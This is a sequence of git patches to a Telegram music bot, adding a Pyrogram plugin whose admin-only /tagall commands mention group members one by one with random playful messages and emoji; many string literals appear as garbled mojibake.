- " ððð¥ð¥ðšð ",
- " ððð®ðð² ððšðŠð¥ððð ðð®ð??ðº ",
- " ððšð¥ðš ðð ðð®ðð¡ ðð«ð«ð¥² ",
- " ððšð§ðð¥ð¢ ððšð§ ððð¢...??ð
",
- " ðð®ðŠð¡ðð«ð¢ ðð€ ðð¢ð ðð¢ð¥ðð ð¢..?ð
",
- " ðð®ðŠðŠð² ðð ðð²ð¢ ðð²ðððð ",
- " ðð« ðððððš ðð¡ððð¡ð¢ ððð¢ð¬ð¢ ððð¢ð ",
- " ð ððšð¯ð ððšð®ððð ",
- " ððš ððšð® ððšð¯ð ðð..?ð ",
- " ððð€ð¡ð¢ ððð ððð§ð ððð¡ð¢ ððš.??ð ",
- " ðð€ ððšð§ð ðð®ð§ðð®..?ð¹ ",
- " ðð§ð¥ð¢ð§ð ðð ðð ðð ððšð§ð ðð®ð§ð ððð¡ð¢ ðð®ð» ",
- " ðð§ð¬ððð ð«ððŠ ðð¡ðð¥ððð ððš..??ð ",
-
-" ðð¡ððð¬ðð©ð© ðð®ðŠððð« ððšð ð ðð©ð§ð ðð®ðŠ..?ð ",
- " ðð®ðŠð¡ð ððšð§ ðð ðð®ð¬ð¢ð ðð®ð§ð§ð ððð¬ðð§ð ððð¢..?ð ",
- " ððð«ð ðððŠ ðð¡ððððŠ ððš ðð²ð ððð©ð€ð..?ð ",
- " ððð¡ð ðð ððš ððð©ð ",
- " ðð®ð§ðš ððð§ ",
- " ððð«ð ðð€ ððððŠ ððð« ððšð ð..? ",
- " ðð² ðððð ððð ððð ððð«ð§ð ððð£ ðð ðððð ",
- " ððšðŠ ððð ððð¢ð¬ð ððð¢ð§..?†",
- " ðð²ð ðð®ð..?ð± ",
- " ððšð¡ðšð ðððð ðð ðð¡ð¢ ððð¢ ð€§â£ïž ",
- " ðð¡ð®ð¥ ðð²ð ðð®ð£ð¡ððð ",
- " ðð®ðð¡ ðð¡ð¢ ððšð¥ð§ð ðð¡ðð¡ð¢ð²ðð€ ",
- " ðð¡ð ððš ðð¡ðð° ððð ðð«ðš ððððð ",
- " ðð²ð ðð®ðð®ð® "
- " ðð¢ð¢ð ",
- " ððð©ð€ð ððð¢ð¬ð ððšð¬ð ððš ðððð¡ ðð ð
ð¢ð« ðð®ðŠ ðð¢ð¬ ððð ðð ð ",
- " ððð£ ððð¢ ððð ðð® â¹ïž ",
- " ðð®ð¬ð£ð¡ð¬ð ðð¡ð¢ ððð ððð« ððš ðð ð¥ºð¥º ",
- " ðð²ð ððð« ððð¡ð ððšð ",
- " ðð²ð ððð¥ ðð¡ðð¥ ððð¢ ð ",
- " ððð¡ð ðð ððš ððð©..?ð€ ",
- " ðð¡ðððð¢ð§ð ððð« ððš ðð..𥺠",
- " ðð ððð¬ðšðšðŠ ðð® ððð¥ºð¥º ",
- " ððð¥ ððð£ð ðð²ð ðð¡ð ððð€ð
",
- " ðð«ðšð®ð© ðð ððð ðð²ð® ððð¡ð¢ ððð«ðð ððšð ",
- " ððð© ððð¥ððð¢ðšðŠð¬ð¡ð¢ð© ðð ððš..?ð ",
- " ðð¢ðð§ð ðð¡ð®ð© ððð¡ðð ððš ðð«ð«ðŒ ",
- " ððð©ð€ðš ððð§ð ððð§ð ðððð ððð¢..?ðž ",
- " ðð¡ð®ðŠð§ð ðð¡ðð¥ðšð ð..??ð ",
- " ðð¡ð®ð¬ ððð¡ð ððð«ðš âïžð€ ",
- " ðððŠ ððšð¬ð ððð§ ððð€ðð ððð¢...?𥰠",
- " ðð®ðð¡ ððšð¥ ðð²ð® ðð¡ð¢ ððð¡ð ððš..ð¥ºð¥º ",
- " ðð®ðð¡ ðððŠððð«ð¬ ððð ððð« ððš 𥲠",
- " ðð¢ð§ð ð¥ð ððš ðð ðð¢ð§ð ð¥ð ð ",
- " ðððš ððð«ðð² ððð«ðð ððð¢ð§ð𥳠",
- " ðððŠð¥ðšðšð§ ",
- " ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ð𥺠",
- " ððð¡ð ðð ðððš:- [ @lI_HEERIYE_ll ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€ ",
- " ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð ",
- " ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º ",
- " ððšð¢ð§ ððð« ððš:- [ @lI_HEERIYE_ll ] ð€ ",
- " ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð ",
- " ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ð𥺠",
- " ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]𥰠",
- " ððð¡ð ðð¡ðšð²ð ððš ðððð§ð ",
- " ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥° ",
- ]
-
-@app.on_message(filters.command(["tagall", "all", "tagmember", "utag", "stag", "hftag", "bstag", "eftag", "tag", "etag", "utag", "atag" ], prefixes=["/", "@", "#"]))
-async def mentionall(client, message):
- chat_id = message.chat.id
- if message.chat.type == "private":
- return await message.reply("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð§ð¥ð² ð
ðšð« ðð«ðšð®ð©ð¬.")
-
- is_admin = False
- try:
- participant = await client.get_chat_member(chat_id, message.from_user.id)
- except UserNotParticipant:
- is_admin = False
- else:
- if participant.status in ("administrator", "creator"):
- is_admin = True
- if not is_admin:
- return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬. ")
-
- if message.reply_to_message and message.text:
- return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
-
-elif message.text:
- mode = "text_on_cmd"
- msg = message.text
- elif message.reply_to_message:
- mode = "text_on_reply"
- msg = message.reply_to_message
- if not msg:
- return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
- else:
- return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
-
- spam_chats.append(chat_id)
- usrnum = 0
- usrtxt = ""
- async for usr in client.iter_chat_members(chat_id):
- if not chat_id in spam_chats:
- break
- if usr.user.is_bot:
- continue
- usrnum += 1
- usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
-
- if usrnum == 1:
- if mode == "text_on_cmd":
- txt = f"{usrtxt} {random.choice(TAGMES)}"
- await client.send_message(chat_id, txt)
- elif mode == "text_on_reply":
- await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
- await asyncio.sleep(4)
- usrnum = 0
- usrtxt = ""
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-@app.on_message(filters.command(["cancel", "stop"]))
-async def cancel_spam(client, message):
- if not message.chat.id in spam_chats:
- return await message.reply("ðð®ð«ð«ðð§ðð¥ð² ð'ðŠ ððšð ððð ð ð¢ð§ð ðððð².")
- is_admin = False
- try:
- participant = await client.get_chat_member(message.chat.id, message.from_user.id)
- except UserNotParticipant:
- is_admin = False
- else:
- if participant.status in ("administrator", "creator"):
- is_admin = True
- if not is_admin:
- return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬.")
- else:
- try:
- spam_chats.remove(message.chat.id)
- except:
- pass
- return await message.reply("⊠Mention process stopped âŠ")
From ff416d8a6ab1ad46d4349e18d11e23112662c797 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Fri, 23 Feb 2024 16:27:18 +0530
Subject: [PATCH 14/31] Add files via upload
---
EsproMusic/plugins/admins/romman.py | 222 ++++++++++++++++++++++++++++
1 file changed, 222 insertions(+)
create mode 100644 EsproMusic/plugins/admins/romman.py
diff --git a/EsproMusic/plugins/admins/romman.py b/EsproMusic/plugins/admins/romman.py
new file mode 100644
index 0000000..13e4ffe
--- /dev/null
+++ b/EsproMusic/plugins/admins/romman.py
@@ -0,0 +1,222 @@
+from EsproMusic import app
+import asyncio
+import random
+from pyrogram import Client, filters
+from pyrogram.enums import ChatType, ChatMemberStatus
+from pyrogram.errors import UserNotParticipant
+from pyrogram.types import ChatPermissions
+
+spam_chats = []
+
+EMOJI = [ "ðŠðŠðŠðŠðŠ",
+ "ð§ðžð§ð¬ð«",
+ "ð¥ð·ð¹ðºð",
+ "ðžð¿ð®ð±ðµ",
+ "â€ïžðððð€",
+ "ððððð",
+ "ðžððºð¹ðŠ",
+ "ððŠªðð²ð¥",
+ "ððððð¶ïž",
+ "ð§ð¥€ð§ð¥ð·",
+ "ð¬ðð§ðð¡",
+ "ðšð§ðºâð»",
+ "ð¥ªð¥§ðŠð¥ð",
+ "ð«âð¹ð·ð¥",
+ "âð§ð©ðŠð",
+ "ððŸð®ðð¿",
+ "ðšïžð¥ïžâïžð©ïžð§ïž",
+ "ð·ðµïžðžðºð",
+ "ð®ðŒð»ðð",
+ "ð§ðŠžðйð§ðž",
+ "ð§
ð ð¥ðœð¥Š",
+ "ð·ð¹ððšð»ââïž",
+ "ðŠððððââ¬",
+ "ðŒð³ð²ðŽðµ",
+ "ð¥©ðððð",
+ "ðŽðœïžðªð¶ð¥",
+ "ðð°ð©â©ïžð©",
+ "ððððð",
+ "ðªŽðµðŽð³ð²",
+ "ððððð",
+ "ðŠ
ðŠðïžðŠ€ðŠ¢",
+ "ðŠ€ðŠ©ðŠðŠðŠ",
+ "ð¬ðŠðŠðð³",
+ "ððð ð¡ðŠ",
+ "ðŠ©ðŠðŠððŠª",
+ "ðŠðŠð·ïžðžïžð",
+ "ð¥ªð°ð¥§ðšðš",
+ " ð¥¬ðð§ð§",
+ ]
+
+TAGMES = [ " **ððð² ðððð² ððð¡ð ððšð€ð¥±** ",
+ " **ðð²ð ððš ðð²ð ðð²ð ðð§ð¥ð¢ð§ð ðððšð** ",
+ " **ðð ðð¡ðð¥ðš ððððð§ ððð«ðð ððð¢ð§ ðð®ðð¡ ðð®ðð¡ð** ",
+ " **ðð¡ðð§ð ðð¡ð ðð¢ð²ð ðð¢..??ð¥²** ",
+ " **ðð¡ðð« ðð ððð ððð¢ð¬ð ððð¢ð§ ðð¢ð¥º** ",
+ " **ððð ððð¢ ððšð¡ðšð ðð¢ð¬ð¬ ððð« ðð¡ð¢ ðð¡ð¢ ððð©ð€ðšð€** ",
+ " **ðð²ð ððð¥ ðð¡ðð¥ ððð¬ð ððð¢..??ð€š** ",
+ " **ððð«ð¢ ðð¡ð¢ ððððð¢ð§ð ððð«ðð ððšð ð..??ð** ",
+ " **ððð©ð€ð ðððŠð ðð²ð ð¡ðð¢..??ð¥²** ",
+ " **ððð¬ðð ðð®ð ððð©ð€ð..??ð** ",
+ " **ððð«ð ððš ðð©ð§ð ðð«ðšð®ð© ðð ðð¢ðð§ðð© ðð« ððšð** ",
+ " **ððð©ð€ð¢ ððð«ðð§ðð« ððð©ð€ðš ðð¡ð®ð§ð ðð¡ð ððð¢ð§ ðð¥ðð¢ ðð§ð¥ð¢ð§ð ðð²ð¢ððð
ð
** ",
+ " **ððð«ð ðð ððšð¬ðð¢ ðð«ðšð ð..??ð€** ",
+ " **ððšð§ð ðð¡ðð¥ ðð²ð ðð²ððð** ",
+ " **ðð€ ððšð§ð ðð¥ðð² ðð«ðš ðð ðð¥ð¬ð¬ð** ",
+ " **ððð© ððð¡ð ðð ððš..??ð** ",
+ " **ððð¥ð¥ðš ðð¢ ðððŠðð¬ððð** ",
+ " **ððð¥ð¥ðš ðððð² ðð€ð«ð¡..?ð€** ",
+ " **ððš ððšð® ðð§ðšð° ðð¡ðš ðð¬ ðð² ðð°ð§ðð«.?** ",
+ " **ðð¡ð¥ðš ðð®ðð¡ ðððŠð ðð¡ðð¥ðð ððð¢ð§.ð€** ",
+ " **ðð®ð« ðððððš ððð¢ð¬ð ððš ðððð²ð** ",
+ " **ðð®ðŠð¡ðð«ð¢ ðð®ðŠðŠð² ðð²ð ððð« ððð¡ð¢ ððð¢ð€** ",
+ " **ððð«ð ðð ððð ððšð¢ ðð«ðšð ðð¥ºð¥º** ",
+ " **ðð²ð ððð ðð¥ ðð§ð¥ð¢ð§ð ðð ððð¶** ",
+ " **ððð£ ððšð¥ð¢ððð² ððð¢ ðð²ð ððð¡ðšðšð¥ ðð..??ð€** ",
+ " **ðð²ð ððšðšð ððšð«ð§ð¢ð§ð ð** ",
+ " **ðð®ð§ðš ðð€ ðððŠ ððð¢ ðð®ðŠð¬ðð** ",
+ " **ððšð¢ ððšð§ð ðð¥ðð² ðð«ðš ðððª** ",
+ " **ðð¢ðð ððš ðððð ðð¡âº** ",
+ " **ððð¥ð¥ðšð** ",
+ " **ððð®ðð² ððšðŠð¥ððð ðð®ð??ðº** ",
+ " **ððšð¥ðš ðð ðð®ðð¡ ðð«ð«ð¥²** ",
+ " **ððšð§ðð¥ð¢ ððšð§ ððð¢...??ð
** ",
+ " **ðð®ðŠð¡ðð«ð¢ ðð€ ðð¢ð ðð¢ð¥ðð ð¢..?ð
** ",
+ " **ðð®ðŠðŠð² ðð ðð²ð¢ ðð²ðððð** ",
+ " **ðð« ðððððš ðð¡ððð¡ð¢ ððð¢ð¬ð¢ ððð¢ð** ",
+ " **ð ððšð¯ð ððšð®ððð** ",
+ " **ððš ððšð® ððšð¯ð ðð..?ð** ",
+ " **ððð€ð¡ð¢ ððð ððð§ð ððð¡ð¢ ððš.??ð** ",
+ " **ðð€ ððšð§ð ðð®ð§ðð®..?ð¹** ",
+ " **ðð§ð¥ð¢ð§ð ðð ðð ðð ððšð§ð ðð®ð§ð ððð¡ð¢ ðð®ð»** ",
+ " **ðð§ð¬ððð ð«ððŠ ðð¡ðð¥ððð ððš..??ð** ",
+ " **ðð¡ððð¬ðð©ð© ðð®ðŠððð« ððšð ð ðð©ð§ð ðð®ðŠ..?ð** ",
+ " **ðð®ðŠð¡ð ððšð§ ðð ðð®ð¬ð¢ð ðð®ð§ð§ð ððð¬ðð§ð ððð¢..?ð** ",
+ " **ððð«ð ðððŠ ðð¡ððððŠ ððš ðð²ð ððð©ð€ð..?ð** ",
+ " **ððð¡ð ðð ððš ððð©ð** ",
+ " **ðð®ð§ðš ððð§** ",
+ " **ððð«ð ðð€ ððððŠ ððð« ððšð ð..?** ",
+ " **ðð² ðððð ððð ððð ððð«ð§ð ððð£ ðð ðððð ** ",
+ " **ððšðŠ ððð ððð¢ð¬ð ððð¢ð§..?â€** ",
+ " **ðð²ð ðð®ð..?ð±** ",
+ " **ððšð¡ðšð ðððð ðð ðð¡ð¢ ððð¢ ð€§â£ïž** ",
+ " **ðð¡ð®ð¥ ðð²ð ðð®ð£ð¡ððð** ",
+ " **ðð®ðð¡ ðð¡ð¢ ððšð¥ð§ð ðð¡ðð¡ð¢ð²ðð€** ",
+ " **ðð¡ð ððš ðð¡ðð° ððð ðð«ðš ððððð** ",
+ " **ðð²ð ðð®ðð®ð®** "
+ " **ðð¢ð¢ð** ",
+ " **ððð©ð€ð ððð¢ð¬ð ððšð¬ð ððš ðððð¡ ðð ð
ð¢ð« ðð®ðŠ ðð¢ð¬ ððð ðð ð** ",
+ " **ððð£ ððð¢ ððð ðð® â¹ïž** ",
+ " **ðð®ð¬ð£ð¡ð¬ð ðð¡ð¢ ððð ððð« ððš ðð ð¥ºð¥º** ",
+ " **ðð²ð ððð« ððð¡ð ððšð** ",
+ " **ðð²ð ððð¥ ðð¡ðð¥ ððð¢ ð** ",
+ " **ððð¡ð ðð ððš ððð©..?ð€** ",
+ " **ðð¡ðððð¢ð§ð ððð« ððš ðð..ð¥º** ",
+ " **ðð ððð¬ðšðšðŠ ðð® ððð¥ºð¥º** ",
+ " **ððð¥ ððð£ð ðð²ð ðð¡ð ððð€ð
** ",
+ " **ðð«ðšð®ð© ðð ððð ðð²ð® ððð¡ð¢ ððð«ðð ððšð** ",
+ " **ððð© ððð¥ððð¢ðšðŠð¬ð¡ð¢ð© ðð ððš..?ð** ",
+ " **ðð¢ðð§ð ðð¡ð®ð© ððð¡ðð ððš ðð«ð«ðŒ** ",
+ " **ððð©ð€ðš ððð§ð ððð§ð ðððð ððð¢..?ðž** ",
+ " **ðð¡ð®ðŠð§ð ðð¡ðð¥ðšð ð..??ð** ",
+ " **ðð¡ð®ð¬ ððð¡ð ððð«ðš âïžð€** ",
+ " **ðððŠ ððšð¬ð ððð§ ððð€ðð ððð¢...?ð¥°** ",
+ " **ðð®ðð¡ ððšð¥ ðð²ð® ðð¡ð¢ ððð¡ð ððš..ð¥ºð¥º** ",
+ " **ðð®ðð¡ ðððŠððð«ð¬ ððð ððð« ððš ð¥²** ",
+ " **ðð¢ð§ð ð¥ð ððš ðð ðð¢ð§ð ð¥ð ð** ",
+ " **ðððš ððð«ðð² ððð«ðð ððð¢ð§ðð¥³** ",
+ " **ðððŠð¥ðšðšð§** ",
+ " **ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ðð¥º** ",
+ " **ððð¡ð ðð ðððš:- [ ðâŽïžðâŽïž ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
+ " **ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð** ",
+ " **ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º** ",
+ " **ððšð¢ð§ ððð« ððš:- [ ððð ] ð€** ",
+ " **ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð** ",
+ " **ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ðð¥º** ",
+ " **ðð² ðð®ðð ðð°ð§ðð« [ ððð ]ð¥°** ",
+ " **ððð¡ð ðð¡ðšð²ð ððš ðððð§ð** ",
+ " **ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥°** ",
+ ]
+
+@app.on_message(filters.command(["tagall", "spam", "tagmember", "utag", "stag", "hftag", "bstag", "eftag", "tag", "etag", "utag", "atag"], prefixes=["/", "@", "#"]))
+async def mentionall(client, message):
+ chat_id = message.chat.id
+ if message.chat.type == ChatType.PRIVATE:
+ return await message.reply("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð§ð¥ð² ð
ðšð« ðð«ðšð®ð©ð¬.")
+
+ is_admin = False
+ try:
+ participant = await client.get_chat_member(chat_id, message.from_user.id)
+ except UserNotParticipant:
+ is_admin = False
+ else:
+ if participant.status in (
+ ChatMemberStatus.ADMINISTRATOR,
+ ChatMemberStatus.OWNER
+ ):
+ is_admin = True
+ if not is_admin:
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ . ")
+
+ if message.reply_to_message and message.text:
+ return await message.reply("/tagall ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ")
+ elif message.text:
+ mode = "text_on_cmd"
+ msg = message.text
+ elif message.reply_to_message:
+ mode = "text_on_reply"
+ msg = message.reply_to_message
+ if not msg:
+ return await message.reply("/tagall ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ...")
+ else:
+ return await message.reply("/tagall ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ..")
+ if chat_id in spam_chats:
+ return await message.reply("ðð¥ððð¬ð ðð ð
ð¢ð«ð¬ð ðððšð© ðð®ð§ð§ð¢ð§ð ðð«ðšððð¬ð¬ ...")
+ spam_chats.append(chat_id)
+ usrnum = 0
+ usrtxt = ""
+ async for usr in client.get_chat_members(chat_id):
+ if not chat_id in spam_chats:
+ break
+ if usr.user.is_bot:
+ continue
+ usrnum += 1
+ usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
+
+ if usrnum == 1:
+ if mode == "text_on_cmd":
+ txt = f"{usrtxt} {random.choice(TAGMES)}"
+ await client.send_message(chat_id, txt)
+ elif mode == "text_on_reply":
+ await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
+ await asyncio.sleep(4)
+ usrnum = 0
+ usrtxt = ""
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+@app.on_message(filters.command(["tagoff", "tagstop"]))
+async def cancel_spam(client, message):
+ if not message.chat.id in spam_chats:
+ return await message.reply("ðð®ð«ð«ðð§ðð¥ð² ð'ðŠ ððšð ..")
+ is_admin = False
+ try:
+ participant = await client.get_chat_member(message.chat.id, message.from_user.id)
+ except UserNotParticipant:
+ is_admin = False
+ else:
+ if participant.status in (
+ ChatMemberStatus.ADMINISTRATOR,
+ ChatMemberStatus.OWNER
+ ):
+ is_admin = True
+ if not is_admin:
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬.")
+ else:
+ try:
+ spam_chats.remove(message.chat.id)
+ except:
+ pass
+ return await message.reply("âŠSTOPâŠ")
\ No newline at end of file
From 25ccd2ee821bfa34ca7dcba06a47b56cdf6c7a35 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Fri, 23 Feb 2024 16:40:13 +0530
Subject: [PATCH 15/31] Update romman.py
---
EsproMusic/plugins/admins/romman.py | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/EsproMusic/plugins/admins/romman.py b/EsproMusic/plugins/admins/romman.py
index 13e4ffe..50252e1 100644
--- a/EsproMusic/plugins/admins/romman.py
+++ b/EsproMusic/plugins/admins/romman.py
@@ -127,13 +127,13 @@
" **ðððš ððð«ðð² ððð«ðð ððð¢ð§ðð¥³** ",
" **ðððŠð¥ðšðšð§** ",
" **ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ðð¥º** ",
- " **ððð¡ð ðð ðððš:- [ ðâŽïžðâŽïž ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
+ " **ððð¡ð ðð ðððš:- [ @lI_HEERIYE_ll ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
" **ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð** ",
" **ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º** ",
- " **ððšð¢ð§ ððð« ððš:- [ ððð ] ð€** ",
+ " **ððšð¢ð§ ððð« ððš:- [ @l_DW_l ] ð€** ",
" **ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð** ",
" **ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ðð¥º** ",
- " **ðð² ðð®ðð ðð°ð§ðð« [ ððð ]ð¥°** ",
+ " **ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]ð¥°** ",
" **ððð¡ð ðð¡ðšð²ð ððš ðððð§ð** ",
" **ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥°** ",
]
@@ -219,4 +219,4 @@ async def cancel_spam(client, message):
spam_chats.remove(message.chat.id)
except:
pass
- return await message.reply("âŠSTOPâŠ")
\ No newline at end of file
+ return await message.reply("âŠSTOPâŠ")
From 8c0244df8836e263d52bd970e4f935aa566dd5ff Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Fri, 23 Feb 2024 16:45:18 +0530
Subject: [PATCH 16/31] Update romman.py
---
EsproMusic/plugins/admins/romman.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/EsproMusic/plugins/admins/romman.py b/EsproMusic/plugins/admins/romman.py
index 50252e1..701f3d5 100644
--- a/EsproMusic/plugins/admins/romman.py
+++ b/EsproMusic/plugins/admins/romman.py
@@ -181,7 +181,7 @@ async def mentionall(client, message):
if usr.user.is_bot:
continue
usrnum += 1
- usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
+ usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.id}) "
if usrnum == 1:
if mode == "text_on_cmd":
From 187ec87a17a1a06d4a8e67bcde18bc8ae96264af Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Sat, 24 Feb 2024 19:25:19 +0530
Subject: [PATCH 17/31] Update config.py
---
config.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/config.py b/config.py
index 597cabb..19a4584 100644
--- a/config.py
+++ b/config.py
@@ -43,7 +43,7 @@
) # Fill this variable if your upstream repository is private
SUPPORT_CHANNEL = getenv("SUPPORT_CHANNEL", "https://t.me/l_DW_l")
-SUPPORT_CHAT = getenv("SUPPORT_CHAT", "https://t.me/+OwXlutqNgoUyYzJl")
+SUPPORT_CHAT = getenv("SUPPORT_CHAT", "https://t.me/lI_HEERIYE_ll")
# Set this to True if you want the assistant to automatically leave chats after an interval
AUTO_LEAVING_ASSISTANT = bool(getenv("AUTO_LEAVING_ASSISTANT", False))
From 938f200fa1f4a234e28c7c4c7358a2619ac5b4a1 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 29 Feb 2024 20:03:15 +0530
Subject: [PATCH 18/31] Update romman.py
---
EsproMusic/plugins/admins/romman.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/EsproMusic/plugins/admins/romman.py b/EsproMusic/plugins/admins/romman.py
index 701f3d5..50252e1 100644
--- a/EsproMusic/plugins/admins/romman.py
+++ b/EsproMusic/plugins/admins/romman.py
@@ -181,7 +181,7 @@ async def mentionall(client, message):
if usr.user.is_bot:
continue
usrnum += 1
- usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.id}) "
+ usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
if usrnum == 1:
if mode == "text_on_cmd":
From b8500b1be68b4617c1b87078dd415608c92b0c59 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 29 Feb 2024 22:07:51 +0530
Subject: [PATCH 19/31] Update requirements.txt
---
requirements.txt | 1 +
1 file changed, 1 insertion(+)
diff --git a/requirements.txt b/requirements.txt
index dbd504f..d329c92 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -21,6 +21,7 @@ requests
speedtest-cli
spotipy
tgcrypto
+telegraph
unidecode
yt-dlp
youtube-search
From b92b198799cc60a99c80b4749d5e5460d004ba70 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Fri, 1 Mar 2024 15:26:22 +0530
Subject: [PATCH 20/31] Update romman.py
---
EsproMusic/plugins/admins/romman.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/EsproMusic/plugins/admins/romman.py b/EsproMusic/plugins/admins/romman.py
index 50252e1..bbaa5f6 100644
--- a/EsproMusic/plugins/admins/romman.py
+++ b/EsproMusic/plugins/admins/romman.py
@@ -181,7 +181,7 @@ async def mentionall(client, message):
if usr.user.is_bot:
continue
usrnum += 1
- usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
+ usrtxt += f"[{usr.user.first_name}](tg://openmessage?user_id={usr.user.id}) "
if usrnum == 1:
if mode == "text_on_cmd":
From 9c54e8ce431fe92d3c9d8a78612ecefa9f8bc545 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Fri, 1 Mar 2024 15:43:02 +0530
Subject: [PATCH 21/31] Update romman.py
---
EsproMusic/plugins/admins/romman.py | 90 ++++++++++++++++++++++++-----
1 file changed, 76 insertions(+), 14 deletions(-)
diff --git a/EsproMusic/plugins/admins/romman.py b/EsproMusic/plugins/admins/romman.py
index bbaa5f6..9d3215e 100644
--- a/EsproMusic/plugins/admins/romman.py
+++ b/EsproMusic/plugins/admins/romman.py
@@ -127,18 +127,34 @@
" **ðððš ððð«ðð² ððð«ðð ððð¢ð§ðð¥³** ",
" **ðððŠð¥ðšðšð§** ",
" **ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ðð¥º** ",
- " **ððð¡ð ðð ðððš:- [ @lI_HEERIYE_ll ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
+ " **ððð¡ð ðð ðððš:-[@TG_FRIENDSS] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
" **ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð** ",
" **ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º** ",
- " **ððšð¢ð§ ððð« ððš:- [ @l_DW_l ] ð€** ",
+ " **ððšð¢ð§ ððð« ððšð€** ",
